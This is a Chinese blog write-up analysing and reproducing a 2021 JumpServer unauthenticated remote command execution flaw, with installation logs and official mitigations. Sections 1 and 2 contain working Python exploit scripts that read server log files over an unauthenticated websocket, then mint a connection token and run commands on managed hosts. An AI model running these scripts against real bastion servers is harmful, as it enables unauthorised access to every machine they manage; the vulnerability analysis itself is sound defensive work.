jumpserver 远程执行漏洞分析和复现

文章最后更新时间为:2021年01月18日 22:07:23

0 简介

JumpServer是一款开源的堡垒机,是符合4A规范的运维安全审计系统,通俗来说就是跳板机。

2021年1月15日,JumpServer发布安全更新,修复了一处远程命令执行漏洞。由于JumpServer某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行任意命令。

影响版本:

  • JumpServer < v2.6.2
  • JumpServer < v2.5.4
  • JumpServer < v2.4.5
  • JumpServer = v1.5.9

1. 漏洞分析

看修复代码的commit记录:https://github.com/jumpserver/jumpserver/commit/f04e2fa0905a7cd439d7f6118bc810894eed3f3e

发现是给CeleryLogWebsocket类的connect加上了身份认证。

import time
import os
import threading
import json

from common.utils import get_logger

from .celery.utils import get_celery_task_log_path
from .ansible.utils import get_ansible_task_log_path
from channels.generic.websocket import JsonWebsocketConsumer

logger = get_logger(__name__)


class TaskLogWebsocket(JsonWebsocketConsumer):
    disconnected = False

    log_types = {
        'celery': get_celery_task_log_path,
        'ansible': get_ansible_task_log_path
    }

    def connect(self):
        user = self.scope["user"]
        if user.is_authenticated and user.is_org_admin:
            self.accept()
        else:
            self.close()

    def get_log_path(self, task_id):
        func = self.log_types.get(self.log_type)
        if func:
            return func(task_id)

    def receive(self, text_data=None, bytes_data=None, **kwargs):
        data = json.loads(text_data)
        task_id = data.get('task')
        self.log_type = data.get('type', 'celery')
        if task_id:
            self.handle_task(task_id)

    def wait_util_log_path_exist(self, task_id):
        log_path = self.get_log_path(task_id)
        while not self.disconnected:
            if not os.path.exists(log_path):
                self.send_json({'message': '.', 'task': task_id})
                time.sleep(0.5)
                continue
            self.send_json({'message': '\r\n'})
            try:
                logger.debug('Task log path: {}'.format(log_path))
                task_log_f = open(log_path, 'rb')
                return task_log_f
            except OSError:
                return None

    def read_log_file(self, task_id):
        task_log_f = self.wait_util_log_path_exist(task_id)
        if not task_log_f:
            logger.debug('Task log file is None: {}'.format(task_id))
            return

        task_end_mark = []
        while not self.disconnected:
            data = task_log_f.read(4096)
            if data:
                data = data.replace(b'\n', b'\r\n')
                self.send_json(
                    {'message': data.decode(errors='ignore'), 'task': task_id}
                )
                if data.find(b'succeeded in') != -1:
                    task_end_mark.append(1)
                if data.find(bytes(task_id, 'utf8')) != -1:
                    task_end_mark.append(1)
            elif len(task_end_mark) == 2:
                logger.debug('Task log end: {}'.format(task_id))
                break
            time.sleep(0.2)
        task_log_f.close()

    def handle_task(self, task_id):
        logger.info("Task id: {}".format(task_id))
        thread = threading.Thread(target=self.read_log_file, args=(task_id,))
        thread.start()

    def disconnect(self, close_code):
        self.disconnected = True
        self.close()

查看这个类的http接口:

通过这个类可以知道,这个接口的访问链为:

访问ws/ops/tasks/log/
--> 进入TaskLogWebsocket类的receive函数
--> 进入TaskLogWebsocket类的handle_task函数
--> 进入TaskLogWebsocket类的read_log_file函数
--> 进入TaskLogWebsocket类的wait_util_log_path_exist函数
--> 进入TaskLogWebsocket类的read_log_file函数
--> 进入app/ops/utls.py中的get_task_log_path函数

taskid是从我们发送的text_data中解析出来的,所以是可控的,通过下面的方式我们可以读取日志文件/opt/jumpserver/logs/jumpserver.log。

向ws://10.10.10.10:8080/ws/ops/tasks/log/发送
{"task":"/opt/jumpserver/logs/jumpserver"}

以上就是文件读取的原理,读取日志文件有如下限制:

  • 只能使用绝对路径读取文件
  • 只能读取以 log 结尾的文件

下面分析如何实现远程代码执行。

通过读取/opt/jumpserver/logs/gunicorn.log,运气好的话,可以读取到用户uid,系统用户uid,和资产id:

  • user id
  • asset id
  • system user id

上述三个信息是需要存在用户正在登录web terminal才能从日志中拿到的,拿到之后。通过/api/v1/authentication/connection-token/ 接口,可以进去/apps/authentication/api/UserConnectionTokenApi

通过user_id asset_id system_user_id可以获取到只有20s有效期的token。这个token可以用来创建一个koko组件的tty:

https://github.com/jumpserver/koko/blob/master/pkg/httpd/webserver.go#342

--> https://github.com/jumpserver/koko/blob/4258b6a08d1d3563437ea2257ece05b22b093e15/pkg/httpd/webserver.go#L167

具体代码如下:

总结完整的rce利用步骤为:

  1. 未授权的情况下能够建立websocket连接
  2. task可控,可以通过websocket对日志文件进行读取
  3. 拿到日志文件中的系统用户,用户,资产字段
  4. 通过3中的字段,可以拿到20s的token
  5. 通过该token能够进入koko的tty,执行命令

2 漏洞复现

2.1 环境搭建

  • 本地环境:xubuntu20.04
  • jumpserver版本:2.6.1版本

安装步骤:

# 下载
git clone https://github.com/jumpserver/installer.git
cd installer 

# 国内docker源加速
export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn

# 安装dev版本,再切换到2.6.1(应该可以直接安装2.6.1,一开始错装成了默认的dev版本,不过没关系)
sudo su
./jmsctl.sh install
./jmsctl.sh upgrade v2.6.1

# 启动
./jmsctl.sh restart

完整日志

# yanq @ yanq-desk in ~/gitrepo [22:18:53] C:127
$ git clone https://github.com/jumpserver/installer.git
正克隆到 'installer'...
remote: Enumerating objects: 467, done.
remote: Total 467 (delta 0), reused 0 (delta 0), pack-reused 467
接收对象中: 100% (467/467), 95.24 KiB | 182.00 KiB/s, 完成.
处理 delta 中: 100% (305/305), 完成.

# yanq @ yanq-desk in ~/gitrepo [22:20:27] 
$ cd installer   

# yanq @ yanq-desk in ~/gitrepo/installer on git:master o [22:20:30] 
$ ls
compose  config-example.txt  config_init  jmsctl.sh  README.md  scripts  static.env  utils

# yanq @ yanq-desk in ~/gitrepo [22:18:59] 
$ export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn

# yanq @ yanq in ~/github/installer on git:master o [22:03:43] C:130
$ sudo su                   
root@yanq:/home/yanq/github/installer# ./jmsctl.sh install


       ██╗██╗   ██╗███╗   ███╗██████╗ ███████╗███████╗██████╗ ██╗   ██╗███████╗██████╗
       ██║██║   ██║████╗ ████║██╔══██╗██╔════╝██╔════╝██╔══██╗██║   ██║██╔════╝██╔══██╗
       ██║██║   ██║██╔████╔██║██████╔╝███████╗█████╗  ██████╔╝██║   ██║█████╗  ██████╔╝
  ██   ██║██║   ██║██║╚██╔╝██║██╔═══╝ ╚════██║██╔══╝  ██╔══██╗╚██╗ ██╔╝██╔══╝  ██╔══██╗
  ╚█████╔╝╚██████╔╝██║ ╚═╝ ██║██║     ███████║███████╗██║  ██║ ╚████╔╝ ███████╗██║  ██║
  ╚════╝  ╚═════╝ ╚═╝     ╚═╝╚═╝     ╚══════╝╚══════╝╚═╝  ╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

                                                                   Version:  dev  



>>> 一、配置JumpServer
1. 检查配置文件
各组件使用环境变量式配置文件,而不是 yaml 格式, 配置名称与之前保持一致
配置文件位置: /opt/jumpserver/config/config.txt
完成

2. 配置 Nginx 证书
证书位置在: /opt/jumpserver/config/nginx/cert
完成

3. 备份配置文件
备份至 /opt/jumpserver/config/backup/config.txt.2021-01-17_22-03-52
完成

4. 配置网络
需要支持 IPv6 吗? (y/n)  (默认为n): n
完成

5. 自动生成加密密钥
完成

6. 配置持久化目录 
修改日志录像等持久化的目录,可以找个最大的磁盘,并创建目录,如 /opt/jumpserver
注意: 安装完后不能再更改, 否则数据库可能丢失

文件系统        容量  已用  可用 已用% 挂载点
udev            7.3G     0  7.3G    0% /dev
/dev/nvme0n1p2  468G  200G  245G   45% /
/dev/loop1       56M   56M     0  100% /snap/core18/1944
/dev/loop2       65M   65M     0  100% /snap/gtk-common-themes/1513
/dev/loop3      218M  218M     0  100% /snap/gnome-3-34-1804/60
/dev/loop0       56M   56M     0  100% /snap/core18/1932
/dev/loop5       32M   32M     0  100% /snap/snapd/10492
/dev/loop6       65M   65M     0  100% /snap/gtk-common-themes/1514
/dev/loop4       52M   52M     0  100% /snap/snap-store/498
/dev/loop7       52M   52M     0  100% /snap/snap-store/518
/dev/loop8      219M  219M     0  100% /snap/gnome-3-34-1804/66
/dev/loop9       32M   32M     0  100% /snap/snapd/10707
/dev/nvme0n1p1  511M  7.8M  504M    2% /boot/efi

设置持久化卷存储目录 (默认为/opt/jumpserver): 
完成

7. 配置MySQL
是否使用外部mysql (y/n)  (默认为n): n
完成

8. 配置Redis
是否使用外部redis  (y/n)  (默认为n): n
完成

>>> 二、安装配置Docker
1. 安装Docker
开始下载 Docker 程序 ...
--2021-01-17 22:04:12--  https://mirrors.aliyun.com/docker-ce/linux/static/stable/x86_64/docker-18.06.2-ce.tgz
正在解析主机 mirrors.aliyun.com (mirrors.aliyun.com)... 180.97.148.110, 101.89.125.248, 58.216.16.38, ...
正在连接 mirrors.aliyun.com (mirrors.aliyun.com)|180.97.148.110|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 43834194 (42M) [application/x-tar]
正在保存至: “/tmp/docker.tar.gz”

/tmp/docker.tar.gz                                          100%[===========================================================================================================================================>]  41.80M  13.8MB/s    用时 3.0s  

2021-01-17 22:04:16 (13.8 MB/s) - 已保存 “/tmp/docker.tar.gz” [43834194/43834194])

开始下载 Docker compose 程序 ...
--2021-01-17 22:04:17--  https://get.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 get.daocloud.io (get.daocloud.io)... 106.75.86.15
正在连接 get.daocloud.io (get.daocloud.io)|106.75.86.15|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 302 FOUND
位置:https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64 [跟随至新的 URL]
--2021-01-17 22:04:28--  https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)... 240e:ff:a024:200:3::3fe, 240e:964:1003:302:3::3fe, 61.160.204.242, ...
正在连接 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)|240e:ff:a024:200:3::3fe|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 12218968 (12M) [application/x-executable]
正在保存至: “/tmp/docker-compose”

/tmp/docker-compose                                         100%[===========================================================================================================================================>]  11.65M  8.43MB/s    用时 1.4s  

2021-01-17 22:04:35 (8.43 MB/s) - 已保存 “/tmp/docker-compose” [12218968/12218968])

已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n)  (默认为n): n
完成

2. 配置Docker
修改Docker镜像容器的默认存储目录,可以找个最大的磁盘, 并创建目录,如 /opt/docker
文件系统        容量  已用  可用 已用% 挂载点
udev            7.3G     0  7.3G    0% /dev
/dev/nvme0n1p2  468G  200G  245G   45% /
/dev/loop1       56M   56M     0  100% /snap/core18/1944
/dev/loop2       65M   65M     0  100% /snap/gtk-common-themes/1513
/dev/loop3      218M  218M     0  100% /snap/gnome-3-34-1804/60
/dev/loop0       56M   56M     0  100% /snap/core18/1932
/dev/loop5       32M   32M     0  100% /snap/snapd/10492
/dev/loop6       65M   65M     0  100% /snap/gtk-common-themes/1514
/dev/loop4       52M   52M     0  100% /snap/snap-store/498
/dev/loop7       52M   52M     0  100% /snap/snap-store/518
/dev/loop8      219M  219M     0  100% /snap/gnome-3-34-1804/66
/dev/loop9       32M   32M     0  100% /snap/snapd/10707
/dev/nvme0n1p1  511M  7.8M  504M    2% /boot/efi

Docker存储目录 (默认为/opt/docker): 
完成

3. 启动Docker
Docker 版本发生改变 或 docker配置文件发生变化,是否要重启 (y/n)  (默认为y): y
完成

>>> 三、加载镜像
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
05e7bc50f07f: Pull complete 
14c9d57a1c7f: Pull complete 
ccd033d7ec06: Pull complete 
6ff79b059f99: Pull complete 
d91237314b77: Pull complete 
c47d41ba6aa8: Pull complete 
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Downloaded newer image for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine

[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
6ec7b7d162b2: Pull complete 
fedd960d3481: Pull complete 
7ab947313861: Pull complete 
64f92f19e638: Pull complete 
3e80b17bff96: Pull complete 
014e976799f9: Pull complete 
59ae84fee1b3: Pull complete 
7d1da2a18e2e: Pull complete 
301a28b700b9: Pull complete 
979b389fc71f: Pull complete 
403f729b1bad: Pull complete 
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Downloaded newer image for jumpserver/mysql:5
docker.io/jumpserver/mysql:5

[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
c87736221ed0: Pull complete 
6ff0ab02fe54: Pull complete 
e5b318df7728: Pull complete 
b7a5a4fe8726: Pull complete 
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Downloaded newer image for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2

[jumpserver/luna:dev]
dev: Pulling from jumpserver/luna
801bfaa63ef2: Pull complete 
b1242e25d284: Pull complete 
7453d3e6b909: Pull complete 
07ce7418c4f8: Pull complete 
e295e0624aa3: Pull complete 
d373a40639dd: Pull complete 
565ad7a883c2: Pull complete 
Digest: sha256:68be3762e065f9eae1bfef462dcd1394ca7a256d22e807d129cc9888c4159874
Status: Downloaded newer image for jumpserver/luna:dev
docker.io/jumpserver/luna:dev

[jumpserver/core:dev]
dev: Pulling from jumpserver/core
6ec7b7d162b2: Already exists 
80ff6536d04b: Pull complete 
2d04da85e485: Pull complete 
998aa32a5c8a: Pull complete 
7733ef26f344: Pull complete 
a3fc2d00adff: Pull complete 
0fceca9bd0c9: Pull complete 
6fd88063e2c9: Pull complete 
6b761cc0db94: Pull complete 
25d46cb4551e: Pull complete 
6da27e4adc2b: Pull complete 
e521a634bfca: Pull complete 
90d95c158108: Pull complete 
Digest: sha256:4733073dfbbf6ec5cf6738738e3305ecaf585bff343a3e4c9990398fd7efbb5c
Status: Downloaded newer image for jumpserver/core:dev
docker.io/jumpserver/core:dev

[jumpserver/koko:dev]
dev: Pulling from jumpserver/koko
6d28e14ab8c8: Pulling fs layer 
1473f8a0a4e1: Pulling fs layer 
683341f9f103: Pull complete 
631f019c17de: Pull complete 
f3a995ef2b4b: Pull complete 
c091dc645c6f: Pull complete 
4e858775bdf0: Pull complete 
fa772130cab7: Pull complete 
a0f79afbde1c: Pull complete 
fdaf81979833: Pull complete 
8d4986e114f0: Pull complete 
eeb197dd15a0: Pull complete 
271cd9c942c6: Pull complete 
fc8bb9405f48: Pull complete 
06a07acf5be2: Pull complete 
Digest: sha256:7e8327a84b8d593c7b8c48dec8fa6ee8bc31e43d6e2344ae0e82897beefc76f1
Status: Downloaded newer image for jumpserver/koko:dev
docker.io/jumpserver/koko:dev

[jumpserver/guacamole:dev]
dev: Pulling from jumpserver/guacamole
6c33745f49b4: Pulling fs layer 
ef072fc32a84: Pulling fs layer 
c0afb8e68e0b: Pulling fs layer 
d599c07d28e6: Pulling fs layer 
e8a829023b97: Waiting 
2709df21cc5c: Waiting 
3bfb431a8cf5: Waiting 
bb9822eef866: Waiting 
5842bda2007b: Pulling fs layer 
453a23f25fcb: Waiting 
c856ffeae983: Waiting 
c51581693e31: Pull complete 
0809345a90d0: Pull complete 
0ba7229a2102: Pull complete 
bf692785c490: Pull complete 
9d6086f6248b: Pull complete 
86c187652ab5: Pull complete 
07f50f434b4b: Pull complete 
9173a0544d33: Pull complete 
78884a472184: Pull complete 
940cbfe07a44: Pull complete 
f322e824f1f5: Pull complete 
02228eb4be13: Pull complete 
dfe141bc6b7b: Pull complete 
Digest: sha256:fc0cd386edca711b45d84f6c192269d176ee165196ced8654ae18ac21eba0dc3
Status: Downloaded newer image for jumpserver/guacamole:dev
docker.io/jumpserver/guacamole:dev

[jumpserver/lina:dev]
dev: Pulling from jumpserver/lina
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
b1e2e4ef9246: Pull complete 
cf63647ff370: Pull complete 
Digest: sha256:5572209db626212f06e4744ae297b5520f59671841c8e3713ce65bbec3ee5038
Status: Downloaded newer image for jumpserver/lina:dev
docker.io/jumpserver/lina:dev


>>> 四、安装完成了
1. 可以使用如下命令启动, 然后访问
./jmsctl.sh start

2. 其它一些管理命令
./jmsctl.sh stop
./jmsctl.sh restart
./jmsctl.sh backup
./jmsctl.sh upgrade
更多还有一些命令,你可以 ./jmsctl.sh --help来了解

3. 访问 Web 后台页面
http://192.168.1.7:8080
https://192.168.1.7:8443

4. ssh/sftp 访问
ssh admin@192.168.1.7 -p2222
sftp -P2222 admin@192.168.1.7

5. 更多信息
我们的文档: https://docs.jumpserver.org/
我们的官网: https://www.jumpserver.org/


root@yanq:/home/yanq/github/installer# ./jmsctl.sh upgrade v2.6.1
你确定要升级到 v2.6.1 版本吗? (y/n)  (默认为n): y

1. 检查配置变更
完成

2. 检查程序文件变更
已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n)  (默认为n): 
完成

3. 升级镜像文件
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Image is up to date for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine

[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Image is up to date for jumpserver/mysql:5
docker.io/jumpserver/mysql:5

[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Image is up to date for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2

[jumpserver/luna:v2.6.1]
v2.6.1: Pulling from jumpserver/luna
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
9aa19406fcc2: Pull complete 
b88c1894aa70: Pull complete 
Digest: sha256:6889bc5825c8b608d3d086fa6713da5098665d9caaa6de0d2de2e30f27246fa4
Status: Downloaded newer image for jumpserver/luna:v2.6.1
docker.io/jumpserver/luna:v2.6.1

[jumpserver/core:v2.6.1]
v2.6.1: Pulling from jumpserver/core
852e50cd189d: Pull complete 
334ed303e4ad: Pull complete 
a687a65725ea: Pull complete 
fe607cb30fbe: Pull complete 
af3dd7a5d357: Pull complete 
5ed087772967: Pull complete 
de88310b192c: Pull complete 
3f3c40cb5584: Pull complete 
a616053790d8: Pull complete 
f78e4ffd4b11: Pull complete 
681df5236765: Pull complete 
6feeeb96a348: Pull complete 
8b170624587e: Pull complete 
Digest: sha256:1332e03847e45f1995845e1b74f1f3deb1f108da72ac5b8af087bc3775690e7b
Status: Downloaded newer image for jumpserver/core:v2.6.1
docker.io/jumpserver/core:v2.6.1

[jumpserver/koko:v2.6.1]
v2.6.1: Pulling from jumpserver/koko
6d28e14ab8c8: Already exists 
c4b1524d2f75: Pulling fs layer 
8522e19e2998: Pull complete 
106d5adca780: Pull complete 
e649208988b3: Pull complete 
fd02488ce54c: Pull complete 
8566396c9588: Pull complete 
5c3ae6b36882: Pull complete 
cb4e3aeda111: Pull complete 
3bc46e9d6be9: Pull complete 
919620ef3747: Pull complete 
3998a9375e49: Pull complete 
5869987766aa: Pull complete 
9fd39a172e25: Pull complete 
f60bfb937cc4: Pull complete 
Digest: sha256:242e96c7a992bf44ccbda321fb69c8ea4d39d5ff423cf8f1505e9856b1ac2496
Status: Downloaded newer image for jumpserver/koko:v2.6.1
docker.io/jumpserver/koko:v2.6.1

[jumpserver/guacamole:v2.6.1]
v2.6.1: Pulling from jumpserver/guacamole
c5e155d5a1d1: Pulling fs layer 
221d80d00ae9: Pulling fs layer 
4250b3117dca: Pulling fs layer 
d1370422ab93: Pulling fs layer 
deb6b03222ca: Pulling fs layer 
9cdea8d70cc3: Pulling fs layer 
968505be14db: Pulling fs layer 
04b5c270ac81: Pulling fs layer 
301d76fcab1f: Pulling fs layer 
f4d49608235a: Pulling fs layer 
f4c6404fd6f8: Pulling fs layer 
73ac8e900d64: Pulling fs layer 
eec0a1010dfa: Pull complete 
199219e1bcf7: Pull complete 
54d3328751a0: Pull complete 
68412973433c: Pull complete 
b45d84968434: Pull complete 
9569df8016cc: Pull complete 
642448bde40a: Pull complete 
e788dd92de90: Pull complete 
223eaf2bd9f6: Pull complete 
b68966fc02ad: Pull complete 
cf0eb6b2e415: Pull complete 
0b78188a975b: Pull complete 
704b69b91dcb: Pull complete 
Digest: sha256:cb80c430c14ad220edd6f20855da5f7ea256d75f5f87bebe29d7e27275c4beeb
Status: Downloaded newer image for jumpserver/guacamole:v2.6.1
docker.io/jumpserver/guacamole:v2.6.1

[jumpserver/lina:v2.6.1]
v2.6.1: Pulling from jumpserver/lina
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
2ec572beb6c1: Pull complete 
c7d22dce32ca: Pull complete 
Digest: sha256:8d63a0716558b4384f0eab2220bcfefe5ba2e040cbd33634576ba444c215212a
Status: Downloaded newer image for jumpserver/lina:v2.6.1
docker.io/jumpserver/lina:v2.6.1

完成
4. 备份数据库
正在备份...
mysqldump: [Warning] Using a password on the command line interface can be insecure.
备份成功! 备份文件已存放至: /opt/jumpserver/db_backup/jumpserver-2021-01-17_22:28:00.sql.gz 

5. 进行数据库变更
表结构变更可能需要一段时间,请耐心等待 (请确保数据库在运行)
2021-01-17 22:28:03 Collect static files
2021-01-17 22:28:03 Collect static files done
2021-01-17 22:28:03 Check database structure change ...
2021-01-17 22:28:03 Migrate model change to database ...

472 static files copied to '/opt/jumpserver/data/static'.
Operations to perform:
  Apply all migrations: admin, applications, assets, audits, auth, authentication, captcha, common, contenttypes, django_cas_ng, django_celery_beat, jms_oidc_rp, ops, orgs, perms, sessions, settings, terminal, tickets, users
Running migrations:
  No migrations to apply.
完成

6. 升级成功, 可以重启程序了
./jmsctl.sh restart

root@yanq:/home/yanq/github/installer# ./jmsctl.sh restart
Stopping jms_core ... done
Stopping jms_koko ... done
Stopping jms_guacamole ... done
Stopping jms_lina ... done
Stopping jms_luna ... done
Stopping jms_nginx ... done
Stopping jms_celery ... done
Removing jms_core ... done
Removing jms_koko ... done
Removing jms_guacamole ... done
Removing jms_lina ... done
Removing jms_luna ... done
Removing jms_nginx ... done
Removing jms_celery ... done


WARNING: The HOSTNAME variable is not set. Defaulting to a blank string.
jms_mysql is up-to-date
jms_redis is up-to-date
Creating jms_core ... done
Creating jms_lina      ... done
Creating jms_guacamole ... done
Creating jms_koko      ... done
Creating jms_celery    ... done
Creating jms_luna      ... done
Creating jms_nginx     ... done

2.2 读取日志

可以直接访问日志的websocket接口,在线测试websocket工具:http://coolaf.com/tool/chattest 或者使用扩展:https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn

下面用代码测试:

import asyncio
import re

import websockets
import json

url = "/ws/ops/tasks/log/"

async def main_logic(t):
    print("#######start ws")
    async with websockets.connect(t) as client:
        await client.send(json.dumps({"task": "//opt/jumpserver/logs/jumpserver"}))
        while True:
            ret = json.loads(await client.recv())
            print(ret["message"], end="")

if __name__ == "__main__":
    host = "http://192.168.1.7:8080"
    target = host.replace("https://", "wss://").replace("http://", "ws://") + url
    print("target: %s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic(target))

这里读到的就是jumpserver上/opt/jumpserver/core/logs/jumpserver目录下的日志。

搭建的漏洞环境中有如下日志可以读:

root@yanq:/opt/jumpserver/core/logs# ls -la
总用量 248
drwxr-xr-x 3 root root   4096 1月  17 23:59 .
drwxr-xr-x 4 root root   4096 1月  17 22:17 ..
drwxr-xr-x 2 root root   4096 1月  17 23:59 2021-01-17
-rw-r--r-- 1 root root      0 1月  17 22:17 ansible.log
-rw-r--r-- 1 root root   2978 1月  18 01:51 beat.log
-rw-r--r-- 1 root root   3122 1月  18 01:51 celery_ansible.log
-rw-r--r-- 1 root root    978 1月  18 01:51 celery_check_asset_perm_expired.log
-rw-r--r-- 1 root root   4332 1月  18 01:51 celery_default.log
-rw-r--r-- 1 root root      0 1月  17 23:59 celery_heavy_tasks.log
-rw-r--r-- 1 root root   4604 1月  18 01:51 celery_node_tree.log
-rw-r--r-- 1 root root   1919 1月  18 01:50 daphne.log
-rw-r--r-- 1 root root   1359 1月  17 22:18 drf_exception.log
-rw-r--r-- 1 root root      0 1月  17 23:59 flower.log
-rw-r--r-- 1 root root 191941 1月  18 01:52 gunicorn.log
-rw-r--r-- 1 root root   7470 1月  18 01:51 jumpserver.log
-rw-r--r-- 1 root root      0 1月  17 22:17 unexpected_exception.log

比如读取gunicorn.log:

除了读日志文件,还可以从/opt/jumpserver/logs/jumpserver读取到taskid,然后查看task的详细信息(当然taskid很可能已经失效了)

向ws://192.168.1.73:8080/ws/ops/tasks/log/发送
{"task":"33xxxxx"}

2.3 远程命令执行

需要在jumpserver中添加一台主机,并且用户登录web terminal。

登录过web terminal之后,在gunicorn.log可以拿到这三个信息。(从结果中搜索/asset-permissions/user/validate)

如果读到了这三个字段,可以利用/api/v1/users/connection-token/拿到一个token,将token发给koko组件可以拿到一个ssh凭证,就可以登陆用户机器了。

通过以下脚本进行远程命令执行利用

import asyncio
import websockets
import requests
import json

url = "/api/v1/authentication/connection-token/?user-only=None"

# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)
    recv_text = await websocket.recv()
    print(f"{recv_text}")

# 客户端主逻辑
async def main_logic(cmd):
    print("#######start ws")
    async with websockets.connect(target) as websocket:
        recv_text = await websocket.recv()
        print(f"{recv_text}")
        resws=json.loads(recv_text)
        id = resws['id']
        print("get ws id:"+id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
        await send_msg(websocket,inittext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print("###############")
        print("exec cmd: ls")
        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
        print(cmdtext)
        await send_msg(websocket, cmdtext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print('#######finish')


if __name__ == '__main__':
    host = "http://192.168.1.7:8080"
    cmd="whoami"
    if host[-1]=='/':
        host=host[:-1]
    print(host)
    data = {"user": "83b24e76-028b-4f49-9329-63e5e3ef10a4", "asset": "96b49ae4-1efd-483a-99bc-4b9708fc7471",
            "system_user": "a0899187-0c5f-4d57-8ab4-9a8628b74864"}
    print("##################")
    print("get token url:%s" % (host + url,))
    print("##################")
    res = requests.post(host + url, json=data)
    token = res.json()["token"]
    print("token:%s", (token,))
    print("##################")
    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
    print("target ws:%s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic(cmd))

3 修复方案

以下根据官方文档:

  1. 将JumpServer升级至安全版本;
  2. 临时修复方案:

修改 Nginx 配置文件屏蔽漏洞接口

/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

Nginx 配置文件位置

# 社区老版本
/etc/nginx/conf.d/jumpserver.conf

# 企业老版本
jumpserver-release/nginx/http_server.conf
 
# 新版本在 
jumpserver-release/compose/config_static/http_server.conf

修改 Nginx 配置文件实例

# 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
   return 403;
}
 
location /api/v1/users/connection-token/ {
   return 403;
}
# 新增以上这些
 
location /api/ {
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_pass http://core:8080;
  }

...

修改完成后重启 nginx

docker方式: 
docker restart jms_nginx

nginx方式:
systemctl restart nginx

修复验证

$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh 

# 使用方法 bash jms_bug_check.sh HOST 
$ bash jms_bug_check.sh demo.jumpserver.org
漏洞已修复

参考

1 + 1 =
快来做第一个评论的人吧~